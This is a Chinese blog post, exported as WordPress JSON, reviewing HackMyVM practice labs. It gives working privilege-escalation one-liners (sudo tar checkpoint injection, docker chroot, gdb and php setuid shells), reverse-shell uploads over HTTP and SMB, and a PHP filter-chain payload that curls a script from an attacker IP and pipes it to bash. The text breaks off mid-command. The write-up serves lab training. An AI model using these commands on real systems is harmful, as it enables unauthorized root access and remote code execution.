{"id":479,"date":"2024-03-30T16:33:20","date_gmt":"2024-03-30T08:33:20","guid":{"rendered":"http:\/\/162.14.82.114\/?p=479"},"modified":"2024-03-30T16:33:20","modified_gmt":"2024-03-30T08:33:20","slug":"%e6%89%93%e9%9d%b6%e5%a4%8d%e7%9b%98","status":"publish","type":"post","link":"http:\/\/162.14.82.114\/index.php\/479\/03\/30\/2024\/","title":{"rendered":"\u6253\u9776\u590d\u76d8"},"content":{"rendered":"<h1>\u6253\u9776\u590d\u76d8<\/h1>\n<p>\u672c\u6b21 hackmyvm \u6253\u9776\u4ece\u4e09\u6708\u4e2d\u65ec\u5f00\u59cb\uff0c\u5386\u65f6\u5341\u4f59\u5929\uff0c\u5230<code>3.29<\/code>\u53f7\u622a\u81f3\uff0c\u5171\u6253\u9776 20 \u4f59\u4e2a\uff0c\u518d\u6b21\u505a\u4e00\u4e2a\u590d\u76d8\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202403301625506.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202403301625506.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"hackmyvm.eu_leaderboard_\" style=\"zoom:67%;\" \/><\/div><\/p>\n<p>\u53ef\u60dc\u4e86\uff0c\u624d29\u53f7\uff0c\u52a0\u628a\u52b2\u8fdb\u4e2a\u524d\u5341\u4e0d\u662f\u95ee\u9898\u7684\uff0c\u4f46\u662f\u6ca1\u5fc5\u8981\uff0c\u590d\u76d8\u4e00\u4e0b\u5427\uff0c\u4e0b\u4e2a\u6708\u62ff\u4e2a\u540d\u6b21\uff1a<\/p>\n<h2>\u9632\u706b\u5899\u8fc7\u6ee4<\/h2>\n<p><code>Azer<\/code>\u4f7f\u7528<code>linpeas.sh<\/code>\u626b\u51fa\u6765\u4e86\u9632\u706b\u5899\u7684\u8fc7\u6ee4\u7b56\u7565\uff1a<\/p>\n<pre><code class=\"language-bash\">[+] Iptables rules\n*filter\n-A OUTPUT -p icmp -j DROP\n# \u7981\u7528\u6389\u4e86icmp,\u6240\u4ee5\u6211\u4eec\u662f\u65e0\u6cd5\u8fdb\u884cping\u7684\uff0c\u6545\u53ef\u80fd\u4f1a\u626b\u63cf\u4e0d\u5230\u3002<\/code><\/pre>\n<blockquote>\n<p>Ping\u7684\u5de5\u4f5c\u539f\u7406\u4e3b\u8981\u57fa\u4e8eInternet\u63a7\u5236\u6d88\u606f\u534f\u8bae\uff08ICMP\uff09\uff0c\u901a\u8fc7\u53d1\u9001ICMP\u56de\u663e\u8bf7\u6c42\u6d88\u606f\uff08\u79f0\u4e3aping\u8bf7\u6c42\uff09\u5230\u76ee\u6807\u4e3b\u673a\uff0c\u5e76\u7b49\u5f85\u5bf9\u5e94\u7684\u56de\u590d\u6d88\u606f\uff08ping\u54cd\u5e94\uff09\u6765\u786e\u5b9a\u4e3b\u673a\u7684\u53ef\u8fbe\u6027\u548c\u5ef6\u8fdf\u3002\u4ee5\u4e0b\u662fPing\u5de5\u4f5c\u539f\u7406\u7684\u8be6\u7ec6\u6b65\u9aa4\uff1a<\/p>\n<ol>\n<li><strong>\u6784\u9020ICMP\u6570\u636e\u5305<\/strong>\uff1aPing\u547d\u4ee4\u9996\u5148\u4f1a\u6784\u9020\u4e00\u4e2aICMP\u6570\u636e\u5305\uff0c\u8be5\u6570\u636e\u5305\u5305\u542b\u4e00\u4e2aICMP\u5934\u548c\u4e00\u4e2a\u6570\u636e\u90e8\u5206\u3002ICMP\u5934\u5305\u542b\u7c7b\u578b\u3001\u4ee3\u7801\u3001\u6821\u9a8c\u548c\u7b49\u5b57\u6bb5\uff0c\u7528\u4e8e\u6807\u8bc6\u6570\u636e\u5305\u7c7b\u578b\u548c\u786e\u4fdd\u6570\u636e\u5b8c\u6574\u6027\u3002\u6570\u636e\u90e8\u5206\u53ef\u4ee5\u662f\u4efb\u610f\u957f\u5ea6\u7684\u6570\u636e\u3002<\/li>\n<li><strong>\u53d1\u9001ICMP\u6570\u636e\u5305<\/strong>\uff1a\u6784\u9020\u597dICMP\u6570\u636e\u5305\u540e\uff0cPing\u547d\u4ee4\u4f7f\u7528\u64cd\u4f5c\u7cfb\u7edf\u7684\u7f51\u7edc\u534f\u8bae\u6808\u5c06\u5176\u53d1\u9001\u5230\u76ee\u6807\u4e3b\u673a\u3002\u7f51\u7edc\u534f\u8bae\u6808\u662f\u64cd\u4f5c\u7cfb\u7edf\u5185\u7f6e\u7684\u7f51\u7edc\u534f\u8bae\u8f6f\u4ef6\uff0c\u8d1f\u8d23\u5904\u7406\u7f51\u7edc\u6570\u636e\u5305\u7684\u53d1\u9001\u548c\u63a5\u6536\u3002<\/li>\n<li><strong>\u63a5\u6536ICMP\u56de\u5e94\u6570\u636e\u5305<\/strong>\uff1aPing\u547d\u4ee4\u4f1a\u7b49\u5f85\u76ee\u6807\u4e3b\u673a\u7684\u56de\u5e94\u6570\u636e\u5305\u3002\u5f53\u76ee\u6807\u4e3b\u673a\u6536\u5230ICMP\u56de\u663e\u8bf7\u6c42\u6d88\u606f\u540e\uff0c\u4f1a\u7acb\u5373\u53d1\u9001\u4e00\u4e2aICMP\u56de\u663e\u5e94\u7b54\u6d88\u606f\u7ed9\u53d1\u9001\u65b9\u3002\u8fd9\u4e2a\u56de\u5e94\u6570\u636e\u5305\u5305\u542b\u4e86\u5f80\u8fd4\u65f6\u95f4\uff08RTT\uff09\u7b49\u5173\u952e\u4fe1\u606f\u3002<\/li>\n<li><strong>\u8ba1\u7b97\u5f80\u8fd4\u65f6\u95f4\uff08RTT\uff09<\/strong>\uff1a\u53d1\u9001\u65b9\u63a5\u6536\u5230\u56de\u663e\u5e94\u7b54\u6d88\u606f\u540e\uff0c\u53ef\u4ee5\u8ba1\u7b97\u51fa\u6570\u636e\u5305\u4ece\u53d1\u9001\u5230\u63a5\u6536\u6240\u82b1\u8d39\u7684\u65f6\u95f4\uff0c\u5373\u5f80\u8fd4\u65f6\u95f4\uff08RTT\uff09\u3002\u8fd9\u4e2a\u6307\u6807\u53ef\u4ee5\u5e2e\u52a9\u7528\u6237\u4e86\u89e3\u7f51\u7edc\u7684\u5ef6\u8fdf\u60c5\u51b5\u3002<\/li>\n<li><strong>\u7edf\u8ba1\u7f51\u7edc\u6027\u80fd\u6307\u6807<\/strong>\uff1a\u9664\u4e86\u8ba1\u7b97RTT\u5916\uff0cPing\u547d\u4ee4\u8fd8\u53ef\u4ee5\u7edf\u8ba1\u4e22\u5305\u7387\u7b49\u7f51\u7edc\u6027\u80fd\u6307\u6807\u3002\u901a\u8fc7\u591a\u6b21\u53d1\u9001ICMP\u56de\u663e\u8bf7\u6c42\u5e76\u7edf\u8ba1\u56de\u5e94\u60c5\u51b5\uff0c\u53ef\u4ee5\u8bc4\u4f30\u7f51\u7edc\u7684\u7a33\u5b9a\u6027\u548c\u53ef\u9760\u6027\u3002<\/li>\n<li><strong>TTL\u5b57\u6bb5\u7684\u5904\u7406<\/strong>\uff1a\u5728Ping\u5de5\u4f5c\u539f\u7406\u4e2d\uff0c\u8fd8\u6d89\u53ca\u5230TTL\uff08Time-To-Live\uff09\u5b57\u6bb5\u7684\u5904\u7406\u3002TTL\u5b57\u6bb5\u7528\u4e8e\u9650\u5236\u6570\u636e\u5305\u5728\u7f51\u7edc\u4e2d\u7684\u751f\u5b58\u65f6\u95f4\uff0c\u9632\u6b62\u6570\u636e\u5305\u5728\u7f51\u7edc\u4e2d\u65e0\u9650\u5faa\u73af\u3002\u5f53\u4e00\u4e2a\u6570\u636e\u5305\u7ecf\u8fc7\u4e00\u4e2a\u8def\u7531\u5668\u65f6\uff0cTTL\u5b57\u6bb5\u4f1a\u51cf1\u3002\u5982\u679cTTL\u5b57\u6bb5\u51cf\u4e3a0\uff0c\u8def\u7531\u5668\u4f1a\u4e22\u5f03\u8be5\u6570\u636e\u5305\u5e76\u53d1\u9001ICMP\u8d85\u65f6\u6d88\u606f\u7ed9\u53d1\u9001\u65b9\u3002Ping\u547d\u4ee4\u53ef\u4ee5\u5229\u7528TTL\u5b57\u6bb5\u6765\u5b9e\u73b0\u5bf9\u7f51\u7edc\u8def\u5f84\u7684\u8ddf\u8e2a\u548c\u6d4b\u91cf\u3002<\/li>\n<li><strong>\u9632\u706b\u5899\u548c\u8def\u7531\u5668\u8bbe\u7f6e\u7684\u5f71\u54cd<\/strong>\uff1aPing\u5de5\u4f5c\u539f\u7406\u8fd8\u53d7\u5230\u9632\u706b\u5899\u548c\u8def\u7531\u5668\u8bbe\u7f6e\u7684\u5f71\u54cd\u3002\u67d0\u4e9b\u9632\u706b\u5899\u6216\u8def\u7531\u5668\u53ef\u80fd\u4f1a\u963b\u6b62ICMP\u6570\u636e\u5305\u7684\u4f20\u8f93\uff0c\u5bfc\u81f4Ping\u547d\u4ee4\u65e0\u6cd5\u6b63\u5e38\u5de5\u4f5c\u3002\u56e0\u6b64\uff0c\u5728\u4f7f\u7528Ping\u547d\u4ee4\u65f6\uff0c\u9700\u8981\u786e\u4fdd\u7f51\u7edc\u8bbe\u5907\u548c\u5b89\u5168\u7b56\u7565\u5141\u8bb8ICMP\u6570\u636e\u5305\u7684\u4f20\u8f93\u3002<\/li>\n<\/ol>\n<\/blockquote>\n<p>\u76f8\u5bf9\u5e94\u7684\u65b9\u6cd5\uff1a<\/p>\n<pre><code class=\"language-bash\"># \u5185\u7f51\u626b\u63cf\n.\/fscan -h 10.10.10.1\/24 -np -nopoc -noredis \n# nmap\u626b\u63cf\nsudo nmap -sS &lt;IP&gt;<\/code><\/pre>\n<h2>\u4e0a\u4f20\u6587\u4ef6\u968f\u673a\u5316<\/h2>\n<p>\u4e0a\u4f20\u6587\u4ef6\u4ee5\u540e\uff0c\u53ef\u80fd\u4f1a\u5b58\u5728\u91cd\u547d\u540d\u7684\u60c5\u51b5\uff0c\u5728<code>quick4<\/code>\u4e2d\u5c31\u9047\u5230\u4e86\u8fd9\u79cd\u60c5\u51b5\uff1a<\/p>\n<p>\u53ef\u4ee5\u5c1d\u8bd5\u4ee5\u4e0b\u5e38\u89c1\u91cd\u547d\u540d\u624b\u6bb5\uff1a<\/p>\n<pre><code class=\"language-apl\">http:\/\/10.161.187.177\/employee\/uploads\/_reverseShell.jpg\nhttp:\/\/10.161.187.177\/employee\/uploads\/employee_reverseShell.jpg\nhttp:\/\/10.161.187.177\/employee\/uploads\/2024-03-16_reverseShell.jpg\nhttp:\/\/10.161.187.177\/employee\/uploads\/reverseShell_2024-03-16.jpg\nhttp:\/\/10.161.187.177\/employee\/uploads\/1_reverseShell.jpg<\/code><\/pre>\n<p>\u4e0a\u4f20\u6587\u4ef6\u7684\u65f6\u5019\u53ef\u4ee5\u540e\u7f00\u540d\u6539\u4e3a<code>.jpg<\/code>\u6216\u8005\u5176\u4ed6\u7b26\u5408\u8981\u6c42\u7684\u6587\u4ef6\uff0c\u4f46\u662f\u8981\u5728\u6293\u5305\u7684\u65f6\u5019\u628a\u4fee\u6539\u56de<code>php<\/code>\uff0c\u5426\u5219\u53ef\u80fd\u65e0\u6cd5\u8fdb\u884c\u6267\u884c\u3002<\/p>\n<h2>sudo+tar\u6743<\/h2>\n<p><a href=\"https:\/\/gtfobins.github.io\/gtfobins\/tar\/#sudo\">https:\/\/gtfobins.github.io\/gtfobins\/tar\/#sudo<\/a><\/p>\n<pre><code class=\"language-bash\">sudo tar -cf \/dev\/null \/dev\/null --checkpoint=1 --checkpoint-action=exec=\/bin\/sh<\/code><\/pre>\n<p>\u521b\u5efa\u4e00\u4e2a\u68c0\u67e5\u70b9\u5728sudo\u6743\u9650\u4e0b\uff0c<code>quick4<\/code>\u7684\u5907\u4efd\u7a0b\u5e8f\u5bf9<code>\/var\/www\/html<\/code>\u7684\u5185\u5bb9\u8fdb\u884c\u4fdd\u5b58\uff0c\u5728\u6b64\u60c5\u51b5\u4e0b\u9700\u8981\uff1a<\/p>\n<pre><code class=\"language-bash\">touch \/var\/www\/html\/--checkpoint=1\ntouch \/var\/www\/html\/--checkpoint-action=exec=sh\\ exp.sh<\/code><\/pre>\n<h2>\u94ed\u611f\u76ee\u5f55\u6587\u4ef6<\/h2>\n<ul>\n<li><code>\/var\/www\/html\/xxx\/config.php<\/code><\/li>\n<li><code>\/opt<\/code><\/li>\n<li><code>\/etc<\/code>\u7b49<\/li>\n<\/ul>\n<h2>ssh\u8fde\u63a5\u7684\u82e5\u5e72\u95ee\u9898<\/h2>\n<h3>\u5229\u7528\u79c1\u94a5\u8fdb\u884c\u8fde\u63a5<\/h3>\n<blockquote>\n<p>\u51fa\u73b0@\u5f62\u6210\u7684\u65b9\u6846\u5185\u6709<code>warn<\/code>=&gt; <code>WARNING\uff1aUNPROTECTED PRIVATE KEY FILE\uff01<\/code><\/p>\n<\/blockquote>\n<p>\u8bf4\u660e\u6743\u9650\u4e0d\u591f\uff0c\u4f7f\u7528\u4ee5\u4e0b\u547d\u4ee4\u914d\u7f6e\u6743\u9650\u8fdb\u884c\u8fde\u63a5\uff1a<\/p>\n<pre><code class=\"language-bash\">chmod 600 id_rsa  # \u6539\u4e3a\u4f60\u7684\u79c1\u94a5\u540d\u79f0\nssh username@ip -i id_rsa<\/code><\/pre>\n<h3>\u4e24\u8fb9\u4e3b\u673a\u7684\u52a0\u89e3\u5bc6\u7b97\u6cd5\u4e0d\u4e00\u6837<\/h3>\n<p>\u6307\u5b9a\u4e00\u4e0b\u7b97\u6cd5\uff1a<\/p>\n<pre><code class=\"language-bash\">ssh -o PubkeyAcceptedKeyTypes=ssh-rsa -i id_rsa ariana@10.161.216.116<\/code><\/pre>\n<h2>docker\u63d0\u6743<\/h2>\n<p><a href=\"https:\/\/gtfobins.github.io\/gtfobins\/docker\/\">https:\/\/gtfobins.github.io\/gtfobins\/docker\/<\/a><\/p>\n<p>\u5728<code>Pwned<\/code>\u4e2d\uff0c\u7528\u6237\u5728<code>docker<\/code>\u7ec4\uff0c\u53ef\u4ee5\u4f7f\u7528\u4ee5\u4e0b\u547d\u4ee4\u8fdb\u884c\u63d0\u6743\uff1a<\/p>\n<pre><code class=\"language-bash\">docker run -v \/:\/mnt --rm -it alpine chroot \/mnt sh<\/code><\/pre>\n<ol>\n<li>\n<p><code>-v \/:\/mnt<\/code><\/p>\n<p><code>-v<\/code> \u6216 <code>--volume<\/code>\uff1a\u7528\u4e8e\u6302\u8f7d\u5377\uff0c\u5373\u5c06\u5bbf\u4e3b\u673a\u7684\u76ee\u5f55\u6216\u6587\u4ef6\u6302\u8f7d\u5230\u5bb9\u5668\u4e2d\u3002<\/p>\n<p><code>\/:\/mnt<\/code>\uff1a\u8fd9\u8868\u793a\u5c06\u5bbf\u4e3b\u673a\u7684\u6839\u76ee\u5f55 <code>\/<\/code> \u6302\u8f7d\u5230\u5bb9\u5668\u7684 <code>\/mnt<\/code> \u76ee\u5f55\u4e0b\u3002\u8fd9\u662f\u4e00\u4e2a\u5371\u9669\u7684\u64cd\u4f5c\uff0c\u56e0\u4e3a\u5b83\u4f1a\u5c06\u5bbf\u4e3b\u673a\u7684\u6574\u4e2a\u6587\u4ef6\u7cfb\u7edf\u66b4\u9732\u7ed9\u5bb9\u5668\uff0c\u53ef\u80fd\u5bfc\u81f4\u5b89\u5168\u95ee\u9898\u3002<\/p>\n<\/li>\n<li>\n<p><code>--rm<\/code><\/p>\n<p>\u5728\u5bb9\u5668\u9000\u51fa\u540e\u81ea\u52a8\u5220\u9664\u5bb9\u5668\u3002\u8fd9\u6709\u52a9\u4e8e\u4fdd\u6301\u7cfb\u7edf\u7684\u6e05\u6d01\uff0c\u907f\u514d\u7559\u4e0b\u4e0d\u518d\u9700\u8981\u7684\u5bb9\u5668\u3002<\/p>\n<\/li>\n<li>\n<p><code>-it<\/code><\/p>\n<p><code>-i<\/code> \u6216 <code>--interactive<\/code>\uff1a\u4fdd\u6301 STDIN \u5f00\u653e\u5373\u4f7f\u6ca1\u6709\u9644\u52a0\u3002\u901a\u5e38\u4e0e <code>-t<\/code> \u4e00\u8d77\u4f7f\u7528\uff0c\u4ee5\u4fbf\u5bb9\u5668\u53ef\u4ee5\u4e0e\u4e3b\u673a\u8fdb\u884c\u4ea4\u4e92\u3002<\/p>\n<p><code>-t<\/code> \u6216 <code>--tty<\/code>\uff1a\u4e3a\u5bb9\u5668\u5206\u914d\u4e00\u4e2a\u4f2a\u7ec8\u7aef\u3002\u8fd9\u901a\u5e38\u7528\u4e8e\u4f7f\u5bb9\u5668\u5185\u7684 shell \u8868\u73b0\u5f97\u50cf\u662f\u4e00\u4e2a\u771f\u6b63\u7684\u7ec8\u7aef\u3002<\/p>\n<\/li>\n<li>\n<p><code>alpine<\/code><\/p>\n<p>\u8fd9\u662f\u8981\u4f7f\u7528\u7684 Docker \u955c\u50cf\u540d\u79f0\u3002Alpine \u662f\u4e00\u4e2a\u8f7b\u91cf\u7ea7\u7684 Linux \u53d1\u884c\u7248\uff0c\u7ecf\u5e38\u88ab\u7528\u4f5c Docker \u5bb9\u5668\u7684\u57fa\u7840\u955c\u50cf\u3002<\/p>\n<\/li>\n<li>\n<p><code>chroot \/mnt sh<\/code><\/p>\n<p>\u8fd9\u662f\u5728\u5bb9\u5668\u5185\u8981\u6267\u884c\u7684\u547d\u4ee4\u3002<\/p>\n<p><code>chroot \/mnt<\/code>\uff1a\u6539\u53d8\u5f53\u524d\u8fdb\u7a0b\u7684\u6839\u76ee\u5f55\u5230 <code>\/mnt<\/code>\u3002\u7531\u4e8e\u524d\u9762\u6211\u4eec\u5c06\u5bbf\u4e3b\u673a\u7684\u6839\u76ee\u5f55\u6302\u8f7d\u5230\u4e86\u5bb9\u5668\u7684 <code>\/mnt<\/code>\uff0c\u8fd9\u610f\u5473\u7740\u6b64\u64cd\u4f5c\u5b9e\u9645\u4e0a\u662f\u5728\u5c06\u5bb9\u5668\u8fdb\u7a0b\u7684\u6839\u76ee\u5f55\u5207\u6362\u5230\u5bbf\u4e3b\u673a\u7684\u6839\u76ee\u5f55\u3002<\/p>\n<p><code>sh<\/code>\uff1a\u542f\u52a8\u4e00\u4e2a shell \u4f1a\u8bdd\u3002<\/p>\n<\/li>\n<\/ol>\n<h2>smb\u4e0a\u4f20shell<\/h2>\n<p>\u5728<code>connection<\/code>\u4e2d\uff0csmb\u4fe1\u606f\u53d1\u6398\u4ee5\u540e\uff0c\u53d1\u73b0\u5171\u4eab\u76ee\u5f55\u662f\u53ef\u8bfb\u4e0d\u53ef\u5199\u7684\uff0c\u4f46\u662f\u5b83\u7684\u5b50\u76ee\u5f55\u5374\u4e0d\u4e00\u5b9a\u4e0d\u53ef\u5199\uff0c\u8fd9\u91cc\u5c31\u76f4\u63a5\u4e0a\u4f20\u4e00\u4e2a\u53cd\u5f39shell\u8fdb\u884c\u8fde\u63a5\u4e86\uff1a<\/p>\n<pre><code class=\"language-bash\">smbmap -H 192.168.0.176\nsmbclient -N \\\\\\\\192.168.0.176\\\\share\ncd html\nput reverseshell.php<\/code><\/pre>\n<blockquote>\n<p>\u8fde\u63a5\u7684\u65f6\u5019\u9700\u8981\u5bf9\u53cd\u659c\u6760\u8fdb\u884c\u8f6c\u4e49\uff0c\u6240\u4ee5\u90fd\u662f\u6210\u53cc\u6210\u5bf9\u51fa\u7684<\/p>\n<\/blockquote>\n<h2>gdb\u63d0\u6743<\/h2>\n<p>\u540c\u6837\u662f\u5728<code>connection<\/code>\u4e2d\u9047\u5230\u7684\uff1a<\/p>\n<p><a href=\"https:\/\/gtfobins.github.io\/gtfobins\/gdb\/\">https:\/\/gtfobins.github.io\/gtfobins\/gdb\/<\/a><\/p>\n<pre><code class=\"language-bash\">sudo install -m =xs $(which gdb) .\n.\/gdb -nx -ex &#039;python import os; os.execl(&quot;\/bin\/sh&quot;, &quot;sh&quot;, &quot;-p&quot;)&#039; -ex quit<\/code><\/pre>\n<p>\u8fd9\u662f\u5b98\u65b9\u7f51\u7ad9\u5199\u51fa\u6765\u7684payload\uff0c\u6211\u4eec\u8981\u6839\u636e\u81ea\u5df1\u7684\u60c5\u51b5\u8fdb\u884c\u90e8\u5206\u4fee\u6539\uff0c\u5728\u9776\u573a\u4e2d\u7684payload\u5c31\u9700\u8981\u6539\u4e3a\uff1a<\/p>\n<pre><code class=\"language-bash\">gdb -nx -ex &#039;python import os; os.execl(&quot;\/bin\/bash&quot;, &quot;bash&quot;, &quot;-p&quot;)&#039; -ex quit<\/code><\/pre>\n<ol>\n<li><strong>gdb<\/strong>: \u8fd9\u662f GNU \u8c03\u8bd5\u5668\u7684\u547d\u4ee4\u884c\u5de5\u5177\u3002<\/li>\n<li><strong>-nx<\/strong>: \u8fd9\u4e2a\u9009\u9879\u544a\u8bc9 <code>gdb<\/code> \u4e0d\u8981\u8bfb\u53d6\u4efb\u4f55\u521d\u59cb\u5316\u6587\u4ef6\uff0c\u5982 <code>~\/.gdbinit<\/code>\u3002\u8fd9\u901a\u5e38\u7528\u4e8e\u786e\u4fdd <code>gdb<\/code> \u7684\u884c\u4e3a\u4e0d\u53d7\u4efb\u4f55\u7528\u6237\u7279\u5b9a\u7684\u914d\u7f6e\u5f71\u54cd\u3002<\/li>\n<li><strong>-ex 'python import os; os.execl(&quot;\/bin\/bash&quot;, &quot;bash&quot;, &quot;-p&quot;)'<\/strong>: \u8fd9\u4e2a <code>-ex<\/code> \u9009\u9879\u544a\u8bc9 <code>gdb<\/code> \u6267\u884c\u540e\u9762\u8ddf\u7740\u7684 Python \u4ee3\u7801\u3002\u8fd9\u91cc\uff0cPython \u4ee3\u7801\u5bfc\u5165\u4e86 <code>os<\/code> \u6a21\u5757\uff0c\u5e76\u4f7f\u7528 <code>os.execl<\/code> \u51fd\u6570\u6765\u66ff\u6362\u5f53\u524d\u8fdb\u7a0b\u6620\u50cf\u4e3a <code>\/bin\/bash<\/code>\u3002<code>os.execl<\/code> \u51fd\u6570\u4e0d\u4f1a\u8fd4\u56de\uff0c\u800c\u662f\u76f4\u63a5\u542f\u52a8\u65b0\u7684\u7a0b\u5e8f\uff08\u5728\u8fd9\u91cc\u662f <code>bash<\/code>\uff09\u3002<code>&quot;bash&quot;<\/code> \u662f\u65b0\u7a0b\u5e8f\u7684\u540d\u79f0\uff0c\u800c <code>&quot;-p&quot;<\/code> \u662f\u4f20\u9012\u7ed9 <code>bash<\/code> \u7684\u53c2\u6570\uff0c\u7528\u4e8e\u542f\u52a8\u4e00\u4e2a\u65b0\u7684\u767b\u5f55 shell\uff08\u901a\u5e38\u662f\u4e00\u4e2a\u5e26\u6709\u5b8c\u6574\u73af\u5883\u53d8\u91cf\u7684 shell\uff09\u3002<\/li>\n<li><strong>-ex quit<\/strong>: \u53e6\u4e00\u4e2a <code>-ex<\/code> \u9009\u9879\uff0c\u544a\u8bc9 <code>gdb<\/code> \u5728\u6267\u884c\u5b8c\u4e0a\u4e00\u4e2a <code>-ex<\/code> \u547d\u4ee4\u540e\u7acb\u5373\u9000\u51fa\u3002\u4f46\u662f\uff0c\u7531\u4e8e <code>os.execl<\/code> \u4e0d\u4f1a\u8fd4\u56de\uff0c\u8fd9\u4e2a <code>quit<\/code> \u547d\u4ee4\u5b9e\u9645\u4e0a\u6c38\u8fdc\u4e0d\u4f1a\u88ab\u6267\u884c\u3002<\/li>\n<\/ol>\n<h2>php_filter_chain_generator.py<\/h2>\n<p>\u662f\u5229\u7528<code>filter<\/code>\u8fdb\u884c\u6784\u9020paylaod\uff0c\u57fa\u4e8e\u4f2a\u534f\u8bae\u7684\u4e00\u4e2a\u94fe\u5f0f\u751f\u6210\u5668\uff1a<\/p>\n<p><a href=\"https:\/\/github.com\/synacktiv\/php_filter_chain_generator\">https:\/\/github.com\/synacktiv\/php_filter_chain_generator<\/a><\/p>\n<p>\u5728<code>quick2<\/code>\u4ee5\u53ca\u540e\u9762<code>wild<\/code>\u9776\u573a\u4e2d\u5747\u7528\u5230\u4e86\u6b64CLI:<\/p>\n<pre><code class=\"language-bash\">python3 php_filter_chain_generator.py --chain &#039;&lt;?=`$_GET[0]`?&gt;&#039;<\/code><\/pre>\n<p>\u8fd9\u4e2a\u6bd4\u8f83\u77ed\uff0c\u5982\u679c\u6784\u9020\u5176\u4ed6\u7684\u53ef\u80fd\u4f1a\u88ab\u6d4f\u89c8\u5668\u62e6\u622a\uff0c\u5f53\u7136\uff0c\u6293\u5305\u4e5f\u662f\u4e2a\u4e0d\u9519\u7684\u65b9\u6cd5\uff1a<\/p>\n<pre><code class=\"language-bash\"># `&lt;?= ?&gt;` is a shorthand for `&lt;?php echo ~ ?&gt;`\npython3 php_filter_chain_generator.py --chain &#039;&lt;?= `curl -s -L 192.168.0.126:8888\/reverse|bash` ?&gt;&#039;<\/code><\/pre>\n<h2>Capabilities php\u63d0\u6743<\/h2>\n<blockquote>\n<p><strong>Capabilities\u5728Linux\u4e2d\u662f\u4e00\u79cd\u7ec6\u7c92\u5ea6\u7684\u6743\u9650\u7ba1\u7406\u673a\u5236<\/strong>\uff0c\u7528\u4e8e\u5c06root\u7528\u6237\u7684\u7279\u6743\u5212\u5206\u4e3a\u5177\u4f53\u7684\u529f\u80fd\u96c6\u3002\u8fd9\u79cd\u673a\u5236\u5141\u8bb8\u5c06\u90e8\u5206root\u7279\u6743\u6388\u4e88\u975eroot\u8fdb\u7a0b\uff0c\u4ee5\u589e\u5f3a\u7cfb\u7edf\u7684\u5b89\u5168\u6027\u3002Linux\u4ece\u5185\u68382.2\u7248\u672c\u5f00\u59cb\u5f15\u5165Capabilities\u7684\u6982\u5ff5\u4e0e\u673a\u5236\uff0c\u5e76\u968f\u7740\u7248\u672c\u7684\u5347\u7ea7\u9010\u6b65\u5f97\u5230\u6539\u8fdb\u3002<\/p>\n<p>\u5728Linux\u4e2d\uff0c\u7279\u6743\u8fdb\u7a0b\u53ef\u4ee5\u7ed5\u8fc7\u5185\u6838\u7684\u6240\u6709\u6743\u9650\u68c0\u67e5\uff0c\u800c\u975e\u7279\u6743\u8fdb\u7a0b\u5219\u6839\u636e\u8fdb\u7a0b\u7684\u51ed\u8bc1\uff08\u5982\u6709\u6548\u7528\u6237ID\u3001\u6709\u6548\u7ec4ID\u548c\u8865\u5145\u7ec4\u5217\u8868\uff09\u8fdb\u884c\u5b8c\u6574\u7684\u6743\u9650\u68c0\u67e5\u3002Capabilities\u53ef\u4ee5\u88ab\u5206\u914d\u7ed9\u8fdb\u7a0b\uff0c\u5141\u8bb8\u5b83\u4eec\u6267\u884c\u7279\u5b9a\u7684\u7cfb\u7edf\u64cd\u4f5c\uff0c\u800c\u65e0\u9700\u5177\u6709\u5b8c\u6574\u7684\u8d85\u7ea7\u7528\u6237\u6743\u9650\u3002\u4f8b\u5982\uff0c\u80fd\u529bCAP_SYS_MODULE\u8868\u793a\u7528\u6237\u80fd\u591f\u52a0\u8f7d\uff08\u6216\u5378\u8f7d\uff09\u5185\u6838\u6a21\u5757\u7684\u7279\u6743\u64cd\u4f5c\uff0c\u800cCAP_SETUID\u8868\u793a\u7528\u6237\u80fd\u591f\u4fee\u6539\u8fdb\u7a0b\u3002<\/p>\n<p>\u7cfb\u7edf\u6839\u636e\u8fdb\u7a0b\u7684cap_effective\u80fd\u529b\u96c6\u8fdb\u884c\u8bbf\u95ee\u63a7\u5236\uff0ccap_effective\u662fcap_permitted\u7684\u5b50\u96c6\uff0c\u8fdb\u7a0b\u53ef\u4ee5\u901a\u8fc7\u53d6\u6d88cap_effective\u4e2d\u7684\u67d0\u4e9b\u80fd\u529b\u6765\u653e\u5f03\u8fdb\u7a0b\u7684\u4e00\u4e9b\u7279\u6743\u3002<\/p>\n<p>\u5728\u5b9e\u9645\u4f7f\u7528\u4e2d\uff0c\u53ef\u4ee5\u4f7f\u7528libcap\u5e93\u63d0\u4f9b\u7684\u5de5\u5177\u6765\u67e5\u770b\u548c\u8bbe\u7f6e\u6587\u4ef6\u7684capabilities\u3002\u4f8b\u5982\uff0c\u4f7f\u7528getcap\u548csetcap\u547d\u4ee4\u6765\u5206\u522b\u67e5\u770b\u548c\u8bbe\u7f6e\u6587\u4ef6\u7684capabilities\uff0c\u8fd8\u53ef\u4ee5\u4f7f\u7528capsh\u547d\u4ee4\u6765\u67e5\u770b\u5f53\u524dshell\u8fdb\u7a0b\u7684capabilities\u3002<\/p>\n<\/blockquote>\n<p><a href=\"https:\/\/gtfobins.github.io\/gtfobins\/php\/\">https:\/\/gtfobins.github.io\/gtfobins\/php\/<\/a><\/p>\n<p>\u5728<code>quick2<\/code>\u4e2d\u5229\u7528\u5230\u4e86\uff0c<code>php8.1<\/code>\u7248\u672c\u88ab\u8d4b\u4e88\u4e86Capabilities\u6743\u9650\uff0c\u4ece\u800c\u8fdb\u884c\u63d0\u6743<\/p>\n<pre><code class=\"language-bash\">cp $(which php) .\nsudo setcap cap_setuid+ep php\n\nCMD=&quot;\/bin\/sh&quot;\n.\/php -r &quot;posix_setuid(0); 